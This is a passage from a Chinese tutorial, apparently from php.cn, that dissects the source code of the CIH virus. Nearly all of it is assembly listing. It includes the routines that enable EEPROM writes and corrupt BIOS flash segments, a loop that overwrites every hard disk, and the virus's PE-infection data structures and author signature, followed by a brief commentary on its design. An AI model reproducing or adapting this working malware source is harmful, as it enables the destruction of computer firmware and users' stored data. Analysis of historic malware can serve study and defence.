病毒程序源码实例剖析-CIH病毒[5]
push ecx
loop $
;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据，共80h个字节
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
; 显示和激活BIOS的000E0000 - 000FFFFF段数据，共128 KB，该段可写入信息mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
; 破坏BIOS的000FE000 - 000FE07F段数据，共80h字节
mov ah, 0e0h
mov [eax], al
; 隐藏BIOS的000F0000 - 000FFFFF段，共64 KB
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi
; 破坏所有硬盘
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
;循环进行破坏
LoopOfKillHardDisk:
int 20h
dd 00100004h
cmp word ptr [esi+06h], 0017h
je KillNextDataSection
;换下一个硬盘
ChangeNextHardDisk:
inc byte ptr [esi+4dh]
jmp LoopOfKillHardDisk
;破坏下一个区域
KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk
;使EEPROM能够写入信息
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
ret
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret
;静态数据定义
LastVxdCallAddress = IFSMgr_Ring0_FileIO ;最后一个调用的Vxd指令地址
VxdCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath ;各个Vxd调用指令地址之差
VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;Vxd的调用号
VxdCallTableSize = ($-VxdCallIDTable)/04h ;程序中使用Vxd调用的个数
;病毒版本和版权信息定义
VirusVersionCopyright db 'CIH v' ;CIH病毒的标识
db MajorVirusVersion+'0' ;主版本号
db '.'
db MinorVirusVersion+'0' ;次版本号
db ' TATUNG' ;作者名字
; 病毒大小
VirusSize = $ + SizeOfVirusCodeSectionTableEndMark(04h)
+ NumberOfSections*SizeOfVirusCodeSectionTable(08h)
+ SizeOfTheFirstVirusCodeSectionTable(04h)
;动态数据定义
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress ;病毒数据起始地址
OnBusy db 0 ;“忙”标志
FileModificationTime dd ? ;文件修改时间
FileNameBuffer db FileNameBufferSize dup(?) ;7fh长的文件名缓冲区
@7 = FileNameBuffer
DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; 块数目
TimeDateStamp dd ? ; 文件时间
SymbolsPointer dd ?
NumberOfSymbols dd ? ; 符号表中符号个数
SizeOfOptionalHeader dw ? ;可选文件头的长度
_Characteristics dw ? ;字符集标志
Magic dw ? ;标志字(总是010bh)
LinkerVersion dw ? ;连接器版本号
SizeOfCode dd ? ;代码段大小
SizeOfInitializedData dd ? ;已初始化数据块大小
SizeOfUninitializedData dd ? ;未初始化数据块大小
AddressOfEntryPoint dd ? ;程序起始RVA
BaseOfCode dd ? ;代码段起始RVA
BaseOfData dd ? ;数据段起始RVA
ImageBase dd ? ;装入基址RVA
@9 = $
SectionAlignment dd ? ;块对齐
FileAlignment dd ? ;文件块对齐
OperatingSystemVersion dd ? ;所需操作系统版本号
ImageVersion dd ? ;用户自定义版本号
SubsystemVersion dd ? ;所需子系统版本号
Reserved dd ? ; 保留
SizeOfImage dd ? ; 文件各部分总长
SizeOfHeaders dd ? ;文件头大小
SizeOfImageHeaderToRead = $-NumberOfSections
NewAddressOfEntryPoint = DataBuffer
SizeOfImageHeaderToWrite = 04h
StartOfSectionTable = @9
SectionName = StartOfSectionTable ;块名
VirtualSize = StartOfSectionTable+08h ;段真实长度
VirtualAddress = StartOfSectionTable+0ch ;块的RVA
SizeOfRawData = StartOfSectionTable+10h ; 块物理长度
PointerToRawData = StartOfSectionTable+14h ; 块物理偏移
PointerToRelocations = StartOfSectionTable+18h ; 重定位的偏移
PointerToLineNumbers = StartOfSectionTable+1ch ; 行号表的偏移
NumberOfRelocations = StartOfSectionTable+20h ; 重定位项数目
NumberOfLinenNmbers = StartOfSectionTable+22h ; 行号表的数目
Characteristics = StartOfSectionTable+24h ; 块属性
SizeOfScetionTable = Characteristics+04h-SectionName ; 每块表项的长度
;病毒所需要的内存数量
VirusNeedBaseMemory = $
VirusNeedBaseMemory = $
VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)
;病毒程序结束
VirusGame ENDS
END FileHeader
从以上代码分析过程中，我们可以看出，CIH病毒结构清晰，层次分明。该病毒程序的主干结构与DOS病毒极其相似，只不过对病毒细节的处理都是按win95方法，全部系统调用都是采用Vxd。这样做使病毒程序更加底层、效率更高，也便于编程，与用Windows下的API函数相比，无须考虑病毒自身的复杂重定位过程；与使用中断相比，又更能防止对程序的跟踪分析。
CIH病毒有两个创新，一是病毒感染时查找感染对象文件的各块之间的空白区域,把病毒自己的各种数据结构和代码写到其中（如果空白区域不够就不传染，这就是为什么有些文件不会被感染的原因之一）；二是病毒发作时能破坏计算机硬件，不但要烧毁Flash Memory，还要毁坏硬盘。
出于安全的缘故，有关病毒发作、破坏硬件的这部分代码，我们没有给出详细的分析。
以上就是病毒程序源码实例剖析-CIH病毒[5]的内容，更多相关内容请关注PHP中文网（www.php.cn）！
